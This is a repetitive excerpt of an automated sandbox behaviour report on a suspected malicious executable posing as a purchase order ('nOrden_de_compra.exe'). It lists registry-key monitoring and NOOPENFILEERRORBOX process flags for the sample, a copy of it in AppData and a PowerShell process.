Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
